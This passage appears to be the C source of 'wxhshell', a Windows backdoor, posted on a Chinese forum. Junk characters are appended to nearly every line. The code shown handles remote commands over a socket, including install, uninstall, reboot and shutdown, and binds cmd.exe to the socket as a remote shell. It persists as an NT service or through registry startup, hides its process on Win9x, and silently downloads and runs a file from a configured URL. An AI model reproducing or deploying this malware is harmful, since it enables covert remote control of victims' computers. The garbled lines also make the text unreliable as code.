  } N>Eqj>G  
  else { <EPj$::  
F6o_b4l  
    switch(cmd[0]) { uHH/rMV  
  %7#-%{  
  // 帮助 CNQC^d\ h  
  case '?': { TT50(_8  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); *.~6S3}  
    break; cCo`~7rE  
  } +j(d| L\  
  // 安装 j=*l$RG  
  case 'i': { v^)bhIPe;  
    if(Install()) ( {1e%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); AjJURn0`,!  
    else _<=S_ <$2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %{(x3\ *&  
    break; hX`hs- *qM  
    } o;W`4S^  
  // 卸载 $e\h}A6  
  case 'r': { 1z&Ly3  
    if(Uninstall()) cTD!B% x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uC8L\UXk  
    else CbPuoOl  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); eh4gQ^l  
    break; j. *VJazb;  
    } %honO@$  
  // 显示 wxhshell 所在路径 VOc8q-hK  
  case 'p': { o q4}3bQ  
    char svExeFile[MAX_PATH]; A#nun  
    strcpy(svExeFile,"\n\r"); {%VV\qaC  
      strcat(svExeFile,ExeFile); -zp0S*iP7  
        send(wsh,svExeFile,strlen(svExeFile),0); JC}f-%H?K  
    break; ;<$H)`*  
    } n6*En7IVh  
  // 重启 ,g7.rEA  
  case 'b': { Di@GY!  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); UPc<gB  
    if(Boot(REBOOT)) p. R2gl1m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2$14q$eb  
    else { &?uz`pv2  
    closesocket(wsh); %&->%U|'  
    ExitThread(0); `+zWu 55;  
    } ,h{A^[yl  
    break; %'xb%`t  
    } R*oXmuOsYA  
  // 关机 _(d.!qGz  
  case 'd': { t~e<z81p  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Vo9F  
    if(Boot(SHUTDOWN)) ) c/% NiN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (]RM6i7  
    else { &-czStQ  
    closesocket(wsh); {ekCQeDo  
    ExitThread(0); nI/kw%<  
    } 3#vinz  
    break; "F3]X)}  
    } HxB m~Lcqy  
  // 获取shell 3)ma\+< 6  
  case 's': { \":?xh_H  
    CmdShell(wsh); E]J:~H'Er  
    closesocket(wsh); R g?1-|Tj  
    ExitThread(0); AsPx?  
    break; ;>%~9j1C  
  } ui "3ak+F  
  // 退出 'DCFezdf3  
  case 'x': { 6 4D]Ypx  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 7_wJpTz  
    CloseIt(wsh); T"p(]@Ng  
    break; l akp  
    } #Ei,(xiP  
  // 离开 6oinidB[l  
  case 'q': { WEa2E?*  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); F$Ca;cP"  
    closesocket(wsh); c{>uqPTY  
    WSACleanup(); /w8"=6Vv~  
    exit(1); fQ'.8'>T  
    break; 0l=+$& D  
        } P_gYz!  
  } zf.- I  
  } 9Ew7A(BG_3  
rZojY}dWJ  
  // 提示信息 6cdMS[_SD(  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?sBh=Ds  
} B/J>9||g  
  } hH->%*  
>tG+?Y'{  
  return; ? b[n|^wS  
} C{Asp  
MlJVeod  
// shell模块句柄 (>=7ng^  
int CmdShell(SOCKET sock) 2/36dGFH  
{ 0Rz(|jlbS  
STARTUPINFO si; j'HkBW:L  
ZeroMemory(&si,sizeof(si)); 2$ !D* <  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; wNNB;n` l  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 2b=)6H1  
PROCESS_INFORMATION ProcessInfo; B51kV0  
char cmdline[]="cmd"; LhzMAW<L4  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); sp QLG_o,J  
  return 0; G ){g  
} 3L _I[T$s  
TwvAj#j  
// 自身启动模式 a=xT(G0Re  
int StartFromService(void) pilh@#_h  
{ EPX8Wwf  
typedef struct H@l}[hkP  
{ >Z Ke  
  DWORD ExitStatus; S'U@X  
  DWORD PebBaseAddress; zSv^<`X3  
  DWORD AffinityMask; J4 tcQ  
  DWORD BasePriority; >p])it[q&$  
  ULONG UniqueProcessId; 6  P`)%zj  
  ULONG InheritedFromUniqueProcessId; z *9FlV  
}   PROCESS_BASIC_INFORMATION; DjCx~@  
.mL#6P!d3^  
PROCNTQSIP NtQueryInformationProcess; "PH6e bm  
~%ozgzr^  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; U>S`k6  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; "R9Yb,tIN  
u/Fj'*M  
  HANDLE             hProcess; V &Mf:@y  
  PROCESS_BASIC_INFORMATION pbi; PfG`C5 d  
,WWj-X|+=  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ]lS@}W\  
  if(NULL == hInst ) return 0; Q0_>'sEM  
Ybg- "w  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); yPu4T6Vv  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ( 0Naf  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); p" `%  
u>.y:>  
  if (!NtQueryInformationProcess) return 0; 0 nW F  
H]31l~@]  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); IeF keE  
  if(!hProcess) return 0; x`Fjf/1T*m  
9l+{OA  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; uXQ >WI@eF  
"DSPPE&[c  
  CloseHandle(hProcess); 5V-jMB  
8 Op.eYe  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Q;h3v1GC\P  
if(hProcess==NULL) return 0; |@j _2Q,  
+&ZX$  
HMODULE hMod; I<h=Cj[[  
char procName[255]; ,smF^l   
unsigned long cbNeeded; Psa@@'w  
znZ7*S >6\  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ~# 7wdP  
uCzii o`S  
  CloseHandle(hProcess); Y:x/!-  
V*65b(q)  
if(strstr(procName,"services")) return 1; // 以服务启动 AxCI 0  
PI|`vC|yy&  
  return 0; // 注册表启动 VY'Q|[  
} ; !$m1  
dEp/dd~(&  
// 主模块 Jm(ixekp  
int StartWxhshell(LPSTR lpCmdLine) =qoRS0Qa  
{ 2H[)1|]l  
  SOCKET wsl; ~U}Mv{ y  
BOOL val=TRUE; noA-)  
  int port=0; .Gb+\E{M  
  struct sockaddr_in door; *j*Du+  
0jB X5  
  if(wscfg.ws_autoins) Install(); +nZRi3yu=  
iRV ;Fks  
port=atoi(lpCmdLine); &1)xoZ'\  
*M~.3$NN  
if(port<=0) port=wscfg.ws_port; FWPW/oC  
IlLn4Iw  
  WSADATA data; <>4!XPo%J  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; e^e$mtI  
MV+i{]  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   3;$bS<>  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); PDw{R]V+  
  door.sin_family = AF_INET; `?o=*OS7Y  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); H`<?<ak6'M  
  door.sin_port = htons(port); 73DlRt *  
E`p'L!z  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { f =_^>>.  
closesocket(wsl); a&/HSf_G  
return 1; t&c&KFK)I&  
} pZ+j[!  
T$b\Q  
  if(listen(wsl,2) == INVALID_SOCKET) { D6=HYqdj  
closesocket(wsl); EI`vVI  
return 1; 3-Y=EH_0  
} d><fu]'  
  Wxhshell(wsl); mf4z?G@6  
  WSACleanup(); ` %' z  
*Wyl2op6  
return 0; 0#|7U_n  
t*+! n.p  
}  t.3 \/  
0K3Hf^>m  
// 以NT服务方式启动 jmW^`%;7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~Q!~eTw  
{ B!q?_[k,  
DWORD   status = 0; ` py}99G  
  DWORD   specificError = 0xfffffff; d7i#w #  
rycJyiw<-  
  serviceStatus.dwServiceType     = SERVICE_WIN32; _:,.yRez  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 4%bTj,H#  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Hptq,~_t  
  serviceStatus.dwWin32ExitCode     = 0;  [y{E  
  serviceStatus.dwServiceSpecificExitCode = 0; ~PUsgL^  
  serviceStatus.dwCheckPoint       = 0; =49o U  
  serviceStatus.dwWaitHint       = 0; !d4HN.a7+u  
T8q[7Zn  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); :c;_a-69  
  if (hServiceStatusHandle==0) return; a"qR J-@  
/Nqrvy=  
status = GetLastError(); OLFt;h  
  if (status!=NO_ERROR) ??TdrTS  
{ </w 7W3F  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; y''0PSfb#  
    serviceStatus.dwCheckPoint       = 0; Fg@ ACv'@  
    serviceStatus.dwWaitHint       = 0; 3Wj,}  
    serviceStatus.dwWin32ExitCode     = status; ~x+Ykq0  
    serviceStatus.dwServiceSpecificExitCode = specificError; T#e4": A&x  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); q}Rlo/R  
    return; ~|=rwDBZ8l  
  } R"Y?iZed3  
jlRS:$|R0  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ||gEs/6-  
  serviceStatus.dwCheckPoint       = 0; IuKnM`X  
  serviceStatus.dwWaitHint       = 0; K50t%yu#T]  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); B? TpBd  
} nh.b/\o  
zg0%>iqO  
// 处理NT服务事件,比如:启动、停止 qj;l,Kua  
VOID WINAPI NTServiceHandler(DWORD fdwControl) {3 SdX  
{ {fElto   
switch(fdwControl) tBTJmih"  
{ ,# iZS&  
case SERVICE_CONTROL_STOP: )6C`&Mj  
  serviceStatus.dwWin32ExitCode = 0; $:]tcY-L9  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; $nc, ?)i!  
  serviceStatus.dwCheckPoint   = 0; oYg/*k7EDX  
  serviceStatus.dwWaitHint     = 0; ^(m0M$Wk*  
  { "0<Sd?Sz  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); iiehrK&T !  
  } DrV0V .t,  
  return; |?|K\UF(Y  
case SERVICE_CONTROL_PAUSE: 6#?NL ]A  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ${0%tCE  
  break; y$v@wb5  
case SERVICE_CONTROL_CONTINUE: 2:/u2K  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 7Ff?Ysr  
  break; Ahd\TH  
case SERVICE_CONTROL_INTERROGATE: x{QBMe`  
  break; IE@ z@+\(  
}; G#g{3}dcK  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); rkP4<E-M  
} '@S,V/jy0z  
HD~jU>}}  
// 标准应用程序主函数 J,`_,T  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) j`+0.Zlq  
{ 1 O- E],  
^VC7C~NZ!M  
// 获取操作系统版本 ?bn;{c;E  
OsIsNt=GetOsVer(); CElPU`J,\[  
GetModuleFileName(NULL,ExeFile,MAX_PATH); /W?z0tk`  
&KOO&,  
  // 从命令行安装 (,d/JnP  
  if(strpbrk(lpCmdLine,"iI")) Install(); JgxA^>|9;  
VEr 6uvB  
  // 下载执行文件 kkHTbn=!  
if(wscfg.ws_downexe) { t{[gKV-b  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) #Ul4&QVeg  
  WinExec(wscfg.ws_filenam,SW_HIDE); *+NZQjl'  
} Qh 1q  
 =05iW  
if(!OsIsNt) { w64.R4e  
// 如果时win9x,隐藏进程并且设置为注册表启动 A/ hpY a  
HideProc(); S]5VEn;pV  
StartWxhshell(lpCmdLine); N!.kq4$.  
} rSzQUn<  
else jaL$LJV  
  if(StartFromService()) /bu'6/!`  
  // 以服务方式启动 KuU3DTS85Z  
  StartServiceCtrlDispatcher(DispatchTable); .wM:YX'[G  
else !k%l+I3J[  
  // 普通方式启动 Gmqs`{tc  
  StartWxhshell(lpCmdLine); kf}F}Ad:%  
A> J1B(up  
return 0; LAizx^F  
}
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只看该作者 1 发表于: 2006-10-10
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